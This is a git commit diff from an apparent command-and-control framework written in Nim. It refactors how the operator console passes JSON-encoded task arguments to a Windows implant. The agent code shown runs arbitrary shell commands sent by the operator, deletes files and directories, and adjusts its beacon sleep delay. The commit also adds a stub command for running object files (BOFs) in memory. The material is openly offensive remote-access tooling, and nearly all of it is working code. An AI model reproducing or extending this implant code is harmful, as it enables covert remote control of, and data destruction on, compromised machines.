Updated task structure to use a JSON string instead of seq[string], making it possible to use multiple differently typed arguments

This commit is contained in:
Jakob Friedl
2025-07-09 14:38:30 +02:00
parent 71ff092975
commit bb56ed42f2
10 changed files with 124 additions and 73 deletions

View File

@@ -11,6 +11,8 @@ Basic API-only Commands
- [x] ls/dir : List all files in directory (including hidden ones) - [x] ls/dir : List all files in directory (including hidden ones)
- [x] rm : Remove a file - [x] rm : Remove a file
- [x] rmdir : Remove a empty directory - [x] rmdir : Remove a empty directory
- [ ] mv : Move a file
- [ ] cp : Copy a file
- [ ] cat/type : Display contents of a file - [ ] cat/type : Display contents of a file
- [ ] env : Display environment variables - [ ] env : Display environment variables
- [ ] ps : List processes - [ ] ps : List processes

View File

@@ -1,4 +1,4 @@
import os, strutils, strformat, base64, winim, times, algorithm import os, strutils, strformat, base64, winim, times, algorithm, json
import ../types import ../types
@@ -35,7 +35,9 @@ proc taskPwd*(task: Task): TaskResult =
# Change working directory # Change working directory
proc taskCd*(task: Task): TaskResult = proc taskCd*(task: Task): TaskResult =
let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "") # Parse arguments
let targetDirectory = parseJson(task.args)["directory"].getStr()
echo fmt"Changing current working directory to {targetDirectory}." echo fmt"Changing current working directory to {targetDirectory}."
try: try:
@@ -61,11 +63,13 @@ proc taskCd*(task: Task): TaskResult =
# List files and directories at a specific or at the current path # List files and directories at a specific or at the current path
proc taskDir*(task: Task): TaskResult = proc taskDir*(task: Task): TaskResult =
# Parse arguments
var targetDirectory = parseJson(task.args)["directory"].getStr()
echo fmt"Listing files and directories." echo fmt"Listing files and directories."
try: try:
# Check if users wants to list files in the current working directory or at another path # Check if users wants to list files in the current working directory or at another path
var targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "")
if targetDirectory == "": if targetDirectory == "":
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
@@ -214,8 +218,10 @@ proc taskDir*(task: Task): TaskResult =
# Remove file # Remove file
proc taskRm*(task: Task): TaskResult = proc taskRm*(task: Task): TaskResult =
let target = task.args.join(" ").replace("\"", "").replace("'", "") # Parse arguments
echo fmt"Deleting {target}." let target = parseJson(task.args)["file"].getStr()
echo fmt"Deleting file {target}."
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory
@@ -240,8 +246,10 @@ proc taskRm*(task: Task): TaskResult =
# Remove directory # Remove directory
proc taskRmdir*(task: Task): TaskResult = proc taskRmdir*(task: Task): TaskResult =
let target = task.args.join(" ").replace("\"", "").replace("'", "") # Parse arguments
echo fmt"Deleting {target}." let target = parseJson(task.args)["directory"].getStr()
echo fmt"Deleting directory {target}."
try: try:
# Get current working directory using GetCurrentDirectory # Get current working directory using GetCurrentDirectory

View File

@@ -1,13 +1,19 @@
import winim, osproc, strutils, strformat, base64 import winim, osproc, strutils, strformat, base64, json
import ../types import ../types
proc taskShell*(task: Task): TaskResult = proc taskShell*(task: Task): TaskResult =
echo "Executing command: ", task.args.join(" ") # Parse arguments JSON string to obtain specific values
let
params = parseJson(task.args)
command = params["command"].getStr()
arguments = params["arguments"].getStr()
echo fmt"Executing command {command} with arguments {arguments}"
try: try:
let (output, status) = execCmdEx(task.args.join(" ")) let (output, status) = execCmdEx(fmt("{command} {arguments}"))
return TaskResult( return TaskResult(
task: task.id, task: task.id,
agent: task.agent, agent: task.agent,

View File

@@ -1,13 +1,16 @@
import os, strutils, strformat, base64 import os, strutils, strformat, base64, json
import ../types import ../types
proc taskSleep*(task: Task): TaskResult = proc taskSleep*(task: Task): TaskResult =
echo fmt"Sleeping for {task.args[0]} seconds." # Parse task parameter
let delay = parseJson(task.args)["delay"].getInt()
echo fmt"Sleeping for {delay} seconds."
try: try:
sleep(parseInt(task.args[0]) * 1000) sleep(delay * 1000)
return TaskResult( return TaskResult(
task: task.id, task: task.id,
agent: task.agent, agent: task.agent,

View File

@@ -1,7 +1,7 @@
import strformat, os, times import strformat, os, times
import winim import winim
import ./[types, http, task] import ./[types, http, taskHandler]
const ListenerUuid {.strdefine.}: string = "" const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0 const Octet1 {.intdefine.}: int = 0

View File

@@ -1,4 +1,4 @@
import strutils, tables import strutils, tables, json
import ./types import ./types
import ./commands/commands import ./commands/commands
@@ -24,7 +24,7 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult =
case task.command: case task.command:
of Sleep: of Sleep:
if taskResult.status == Completed: if taskResult.status == Completed:
config.sleep = parseInt(task.args[0]) config.sleep = parseJson(task.args)["delay"].getInt()
else: else:
discard discard

View File

@@ -1,5 +1,5 @@
import argparse, times, strformat, terminal, nanoid import argparse, times, strformat, terminal, nanoid
import ./task import ./taskDispatcher
import ../[types] import ../[types]
#[ #[
@@ -10,8 +10,8 @@ var parser = newParser:
command("shell"): command("shell"):
help("Execute a shell command and retrieve the output.") help("Execute a shell command and retrieve the output.")
arg("command", help="Command", nargs = 1) arg("command", help="Command to be executed.", nargs = 1)
arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string]) arg("arguments", help="Arguments to be passed to the command.", nargs = -1) # Handle 0 or more command-line arguments (seq[string])
command("sleep"): command("sleep"):
help("Update sleep delay configuration.") help("Update sleep delay configuration.")
@@ -39,6 +39,11 @@ var parser = newParser:
help("Remove directory.") help("Remove directory.")
arg("directory", help="Relative or absolute path to the directory to delete.", nargs = -1) arg("directory", help="Relative or absolute path to the directory to delete.", nargs = -1)
command("bof"):
help("Execute COFF or BOF file (.o) in memory.")
arg("file", help="Local path to object file.", nargs = 1)
arg("arguments", help="Arguments to be passed to the BOF.", nargs = -1)
command("help"): command("help"):
nohelpflag() nohelpflag()
@@ -65,11 +70,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
cq.writeLine(parser.help()) cq.writeLine(parser.help())
of "shell": of "shell":
var cq.taskExecuteShell(opts.shell.get.command, opts.shell.get.arguments)
command: string = opts.shell.get.command
arguments: seq[string] = opts.shell.get.arguments
arguments.insert(command, 0)
cq.taskExecuteShell(arguments)
of "sleep": of "sleep":
cq.taskExecuteSleep(parseInt(opts.sleep.get.delay)) cq.taskExecuteSleep(parseInt(opts.sleep.get.delay))
@@ -92,6 +93,9 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
of "rmdir": of "rmdir":
cq.taskRemoveDirectory(opts.rmdir.get.directory) cq.taskRemoveDirectory(opts.rmdir.get.directory)
of "bof":
cq.taskExecuteBof(opts.bof.get.file, opts.bof.get.arguments)
# Handle help flag # Handle help flag
except ShortCircuit as err: except ShortCircuit as err:
if err.flag == "argparse_help": if err.flag == "argparse_help":

View File

@@ -1,48 +0,0 @@
import nanoid, sequtils, strutils, strformat, terminal, times
import ../types
import ../db/database
# Generic task creation procedure
proc createTask(cq: Conquest, command: TaskCommand, args: seq[string], message: string) =
let
date = now().format("dd-MM-yyyy HH:mm:ss")
task = Task(
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
agent: cq.interactAgent.name,
command: command,
args: args,
)
cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message)
# Agent task functions
proc taskExecuteSleep*(cq: Conquest, delay: int) =
if delay < 0:
cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.")
return
# Update 'sleep' value in database
if not cq.dbUpdateSleep(cq.interactAgent.name, delay):
return
# Use the generic createTask function
createTask(cq, Sleep, @[$delay], "Tasked agent to update sleep settings.")
proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) =
cq.createTask(ExecuteShell, arguments, "Tasked agent to execute shell command.")
proc taskGetWorkingDirectory*(cq: Conquest) =
cq.createTask(GetWorkingDirectory, @[], "Tasked agent to get current working directory.")
proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) =
cq.createTask(SetWorkingDirectory, arguments, "Tasked agent to change current working directory.")
proc taskListDirectory*(cq: Conquest, arguments: seq[string]) =
cq.createTask(ListDirectory, arguments, "Tasked agent to list files and directories.")
proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) =
cq.createTask(RemoveFile, arguments, "Tasked agent to remove file.")
proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) =
cq.createTask(RemoveDirectory, arguments, "Tasked agent to remove directory.")

View File

@@ -0,0 +1,75 @@
import nanoid, sequtils, strutils, strformat, terminal, times, json
import ../types
import ../db/database
# Generic task creation procedure
proc createTask(cq: Conquest, command: TaskCommand, args: string, message: string) =
let
date = now().format("dd-MM-yyyy HH:mm:ss")
task = Task(
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
agent: cq.interactAgent.name,
command: command,
args: args,
)
cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message)
# Agent task functions
proc taskExecuteSleep*(cq: Conquest, delay: int) =
if delay < 0:
cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.")
return
# Update 'sleep' value in database
if not cq.dbUpdateSleep(cq.interactAgent.name, delay):
return
# Construct payload
let payload = %*{ "delay": delay }
# Use the generic createTask function
createTask(cq, Sleep, $payload, "Tasked agent to update sleep settings.")
proc taskExecuteShell*(cq: Conquest, command: string, arguments: seq[string]) =
let payload = %*{ "command": command, "arguments": arguments.join(" ")}
cq.createTask(ExecuteShell, $payload, "Tasked agent to execute shell command.")
proc taskGetWorkingDirectory*(cq: Conquest) =
cq.createTask(GetWorkingDirectory, "", "Tasked agent to get current working directory.")
proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) =
let payload = %*{ "directory": arguments.join(" ").replace("\"").replace("'")}
cq.createTask(SetWorkingDirectory, $payload, "Tasked agent to change current working directory.")
proc taskListDirectory*(cq: Conquest, arguments: seq[string]) =
let payload = %*{ "directory": arguments.join(" ").replace("\"").replace("'")}
cq.createTask(ListDirectory, $payload, "Tasked agent to list files and directories.")
proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) =
let payload = %*{ "file": arguments.join(" ").replace("\"").replace("'")}
cq.createTask(RemoveFile, $payload, "Tasked agent to remove file.")
proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) =
let payload = %*{ "directory": arguments.join(" ").replace("\"").replace("'")}
cq.createTask(RemoveDirectory, $payload, "Tasked agent to remove directory.")
proc taskExecuteBof*(cq: Conquest, file: string, arguments: seq[string]) =
# Verify that the object file exists
# Read object file into memory and base64-encode it
# Create the payload package, consisting of base64-encoded object file and the arguments passed to it
# Best way would be a custom binary structure, but for the time being, a JSON string would work, which is deserialized and parsed by the agent
#[
let payload = %*
{
"file": "AAAA...AA=="
"arguments": "arg1 arg2 123"
}
]#
# Create a new task
discard

View File

@@ -38,7 +38,8 @@ type
id*: string id*: string
agent*: string agent*: string
command*: TaskCommand command*: TaskCommand
args*: seq[string] args*: string # Json string containing all the positional arguments
# Example: """{"command": "whoami", "arguments": "/all"}"""
AgentRegistrationData* = object AgentRegistrationData* = object
username*: string username*: string